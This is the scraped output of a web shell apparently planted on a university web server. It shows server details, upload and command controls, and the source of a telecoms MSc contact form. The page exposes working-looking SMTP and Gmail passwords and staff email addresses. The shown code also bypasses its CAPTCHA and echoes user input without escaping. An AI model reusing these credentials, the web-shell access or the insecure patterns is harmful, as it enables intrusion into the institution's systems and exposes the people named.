403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.217.154
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/icd/msc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/icd/msc/contact.php
<?php
	include_once 'lib/lib.php';
	require_once 'lib/recaptchalib.php';
	require_once 'swiftmailer/lib/swift_required.php';
	
	
	function sendSmtpMail($emailSubject, $emailBody, $ReplyEmail, $ReplayName){
		//$myemail = "tolisg <tolisg@teiser.gr>";
	  	//$myemail3 = "Evi <evi@teiser.gr>";
	  	
	  	//$notify = array('tolisg@teiser.gr' => "Apostolos Georgiadis");
		//$notify["apostolos.georgiadis@gmail.com"] = "Apostolos Georgiadis";

		//$notify["evi@teiser.gr"] = "MSc Secretary";
		//$notify["hristosa@teiser.gr"] = "Hristos Anastassiu";
		//$notify["s.tsitsos@teiser.gr"] = "Stelios Tsitsos";
		//$notify["stelios_tsitsos@usa.net"] = "Stelios Tsitsos";
	  	//$notify["profadp@gmail.com"] = "Anastasios Papatsoris";
		$notify["defstat@ihu.gr"] = "Dimitris Efstathiou";
		//$notify["anpol@ihu.gr"] = "Anastasios Politis";
		
		$eml = Swift_Message::newInstance()
  			->setSubject($emailSubject)
		  	->setFrom(array('msctelecomms@ict.ihu.gr' => 'Telecoms MSc International Hellenic University'))
			//->setFrom(array('msc.informatics.teicm.gr@gmail.com' => 'Telecoms MSc International Hellenic University'))
		  	->setReplyTo(array($ReplyEmail => $ReplayName))		  	
  			->setTo($notify)  			
  			->setBody($emailBody);
  			//->addPart($emailBody, 'text/html');
  			// Optionally add any attachments
  			//->attach(Swift_Attachment::fromPath('my-document.pdf'));
  			
		//$gmail_smtp = "smtp.gmail.com";
		$gmail_smtp = "mail.teiser.gr";
  		
		$transport = Swift_SmtpTransport::newInstance($gmail_smtp, 587)
		->setUsername("msctelecomms")
  			->setPassword("MSc@ict2022")
			//->setTimeout(10);
			->setAuthMode("Login");
		
		
		//$transport = Swift_SmtpTransport::newInstance($gmail_smtp, 465, 'ssl')
		//->setUsername("msc.informatics.teicm.gr@gmail.com")
  		//	->setPassword("zzni fozw cujq apea")
			//->setTimeout(10);
		//	->setAuthMode("Login");	
		
		//->setUsername("msc.informatics.teicm.gr@gmail.com")
  		//	->setPassword("T&N2021msc")
		//	->setAuthMode("Login");
		
		
		// Create the Mailer using your created Transport
		$mailer = Swift_Mailer::newInstance($transport);
		
		
		try{
			$numSent = $mailer->send($eml);
		}catch(Exception $ex){
			echo 'Caught exception: ',  $ex->getMessage(), "\n";
		}
		//var_dump($transport);
		//var_dump($mailer);
		//var_dump($numSent);
			
		
		$emailRes = ($numSent > 0);
		return $emailRes;		
	}
	
	
	function showInvalidField(){
		echo " <span style=\"color: #DF4000\">*</span>";
	}
	
	$mCtrl = new Controller("contact", "@[PAGE_TITLE]");
	//$mCtrl->addToHead("");
	
	$showError = FALSE;
	
	$fullname = Utils::vPost("fullname");
	$email = Utils::vPost("email");
	$message = Utils::vPost("message", false);
	$message = trim($message, " \r\n\0\x0B\t");
	
	$validName = TRUE;
	$validEmail = TRUE;
	$validMessage = TRUE;
	$buttonPressed = key_exists("butSubmit", $_POST); 
	if ($buttonPressed){
		$validName = (strlen($fullname)>0);
		$validEmail = Utils::isEmailValid($email);
		$validMessage = (strlen(trim($message, " \r\n\0\x0B\t"))>0);
		
		if (!$validName){
			$showError = $mCtrl->str("ERROR_MISSING_NAME");
		}elseif (!$validEmail){
			$showError = $mCtrl->str("ERROR_MISSING_EMAIL");			
		}elseif (!$validMessage){
			$showError = $mCtrl->str("ERROR_MISSING_BODY");			
		}
	}
			
			//var_dump($message);
			//var_dump($validMessage);
	
	# was there a reCAPTCHA response?
	if ($validName && $validEmail && $validMessage){
		if (key_exists("recaptcha_response_field", $_POST)){
			if ($_POST["recaptcha_response_field"]) {
			}else{
				$showError = "Δεν συμπληρώσατε το πεδίο ασφαλείας";
			}
		}else{
			//$showError = "Δεν συμπληρώσατε το πεδίο ασφαλείας";
		}		
	}
	if ($showError){
		$mCtrl->setFlashWarning($showError);
	}
	
	$mCtrl->printHeaders();
	$mCtrl->clearFlashWarning();
	
	//$mCtrl->addSideBarBlock("δοκιμή", "δοκιμή", 300);
	
	# the response from reCAPTCHA
	$resp = null;
	# the error code from reCAPTCHA, if any
	$error = null;

	# was there a reCAPTCHA response?
	$captchaOK = FALSE;
	if (key_exists("recaptcha_response_field", $_POST)){
		if ($_POST["recaptcha_response_field"]) {
		        $resp = recaptcha_check_answer (Utils::RECAPTCHA_PRIVKEY,
		                                        $_SERVER["REMOTE_ADDR"],
		                                        $_POST["recaptcha_challenge_field"],
		                                        $_POST["recaptcha_response_field"]);
		
		        if ($resp->is_valid) {
		                //echo "You got it!";
		                $captchaOK = TRUE;
		        } else {
		                # set the error code so that we can display it
		                $error = $resp->error;
						
						//var_dump($error);
		        }
		}
	}
	$captchaOK = TRUE;
	
	if ($buttonPressed && $captchaOK && !$showError){
	  //$myemail = "tolisg@teiser.gr";	
	  //$myemail = "tolis@megasoft.cc";
	  //, "Efi <evi@teiser.gr>", "Erifili <erifili@teiser.gr>"
	  
	  $myemail = "tolisg <tolisg@teiser.gr>";
	  $myemail2 = "erifili <erifili@teiser.gr>";
	  $myemail3 = "Evi <evi@teiser.gr>";
	  
	  //$myemail = "tolis@agvm.org";
	  //$myemail2 = "manolis@andriotakis.gr";
	  //$myemail3 = "politicalmap.gr@gmail.com";

      $EmailFrom = "ICD MSc Webmaster <evi@teiser.gr>";
      $EmailTo = "$myemail";
      
      $Subject = "ICD MSc: Μήνυμα Επικοινωνίας";
      $Name = Trim(stripslashes($fullname));
      $Email = Trim(stripslashes($email));
      $Enq = Trim(stripslashes($message));
		
      $Body = "";
      $Body .= "Name: ";
      $Body .= $Name;
      $Body .= "\n";
      $Body .= "Email: ";
      $Body .= $Email;
      $Body .= "\n";
      $Body .= "Message: \n";
      $Body .= $Enq;
      $Body .= "\n";
		
      $Headers = "From: $EmailFrom";
      //$Headers .= "\r\nTo: {$EmailTo}";
      //$Headers .= "\r\nSubject: {$Subject}";
	  
	$Headers .= "\r\nReply-To: $Email"; 
  	//$Headers .= "\r\nReturn-Path: $EmailFrom";
	$Headers .= "\r\nOrganization: Political Map";
  	$Headers .= "\r\nMIME-Version: 1.0";
  	$Headers .= "\r\nX-Priority: 3";
  	$Headers .= "\r\nX-Mailer: PHP". phpversion(); 
  	  
      $Headers .= "\r\nContent-Type: text/plain; charset=utf-8";
	  $Headers .= "\r\nContent-Transfer-Encoding: 8bit\n";

	/*
		echo "<pre>";
		var_dump($EmailAdmin);
		var_dump($Subject);
		var_dump($Body);
		var_dump($Headers);
		echo "</pre>";
	 */ 		
      //if (mail($myemail, $Subject, $Body, $Headers)) {
      
      //if (Utils::UTF8_mail($EmailFrom, $myemail, $Subject, $Body)){
      	 //Utils::UTF8_mail($EmailFrom, $myemail2, $Subject, $Body);
		 //Utils::UTF8_mail($EmailFrom, $myemail3, $Subject, $Body);
       
	    //mail($myemail2, $Subject, $Body, $Headers);        
        //mail($myemail3, $Subject, $Body, $Headers);
      if (sendSmtpMail($Subject, $Body, $Email, $Name)){        
        echo "<p><div style=\"\">Το μήνυμά σας καταχωρήθηκε. Σας ευχαριστούμε για την επικοινωνία.</div></p>";
      } else {
        echo("<p><div class=textb>Αποτυχία αποστολής του μηνύματός σας ...</div></p>");
      }		
	}else{
				
					
		
	      /*$Headers = "From: Tolis <tolis@agvm.org>";
	      $Headers .= "\r\nTo: apostolos.georgiadis@gmail.com";
	      $Headers .= "\r\nContent-Type: text/plain; charset=utf-8";
		$res=mail("apostolos.georgiadis@gmail.com", "test", "test", $Headers);
		var_dump($res);
		   */		
?>



<table>
<tr>
<td width="400">
	
	<iframe width="400" height="300" frameborder="0" scrolling="no" marginheight="0" marginwidth="0" src="http://maps.google.com/?ie=UTF8&amp;t=m&amp;ll=41.07534,23.554816&amp;spn=0.009705,0.017209&amp;z=15&amp;output=embed"></iframe><br /><small><a href="http://maps.google.com/?ie=UTF8&amp;t=m&amp;ll=41.07534,23.554816&amp;spn=0.009705,0.017209&amp;z=15&amp;source=embed" style="color:#0000FF;text-align:left">View Larger Map</a></small>
	
</td>
<td width="250" align="left">
<?php echo $mCtrl->str("ADDRESS_DETAILS") ?>
</td>
</tr>
</table>

<p>
	<?php //echo $mCtrl->str("CONTACT_TEXT") ?>	
</p>

<script type="text/javascript">
 var RecaptchaOptions = {
 	 custom_translations : { instructions_visual : "<?php echo $mCtrl->str("RECAPTCHA_INSTRUCTIONS") ?>" },
    theme : 'white'
 };
</script>

<script>
	$(function(){		
		$('#divbutSubmit').buttonset();
		$('#contact_form').show();		
	});
</script>


<form method="POST" id="contact_form" style="display: none">
	<table id="contacttable" cols="2">
		<tr>
			<td class="tdL"><?php echo $mCtrl->str("LBL_FULLNAME") ?>:</td>
			<td class="tdR">
				<input type="text" name="fullname" value="<?php echo $fullname; ?>" style="width: 390px" /><?php if (!$validName) { showInvalidField(); } ?>
			</td>
		</tr>
		<tr>
			<td class="tdL"><?php echo $mCtrl->str("LBL_EMAIL") ?>:</td>
			<td class="tdR">
				<input type="text" name="email" value="<?php echo $email; ?>" style="width: 390px" /><?php if (!$validEmail) { showInvalidField(); } ?>
			</td>
		</tr>
		<tr>
			<td class="tdL"><?php echo $mCtrl->str("LBL_BODY") ?>:</td>
			<td class="tdR">
				<textarea name="message" style="width: 390px" rows="16"><?php echo $message; ?></textarea>
				<?php if (!$validMessage) { showInvalidField(); } ?>				
			</td>
		</tr>
	</table>

	<!--
		<tr class="captcha">
			<td colspan="2">
		-->		
<?php

	//echo "<div style=\"margin: 5px 0px 5px 200px\">" . recaptcha_get_html(Utils::RECAPTCHA_PUBKEY, $error) . "</div>";

?>	
<!--
			</td>	
		</tr>
		<tr>
			<td><input type="submit" value="Αποστολή Μηνύματος" /></td>
			<td></td>
		</tr>	    
	</table>
	-->
	

	<div id="divbutSubmit" style="text-align: right; margin: 15px 0px 5px 0px">
		<input type="submit" name="butSubmit" value="<?php echo $mCtrl->str("LBL_SENDBUTTON") ?>" style="width: 300px;" />
	</div>
</form>



<?php
	}
	$mCtrl->Close();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit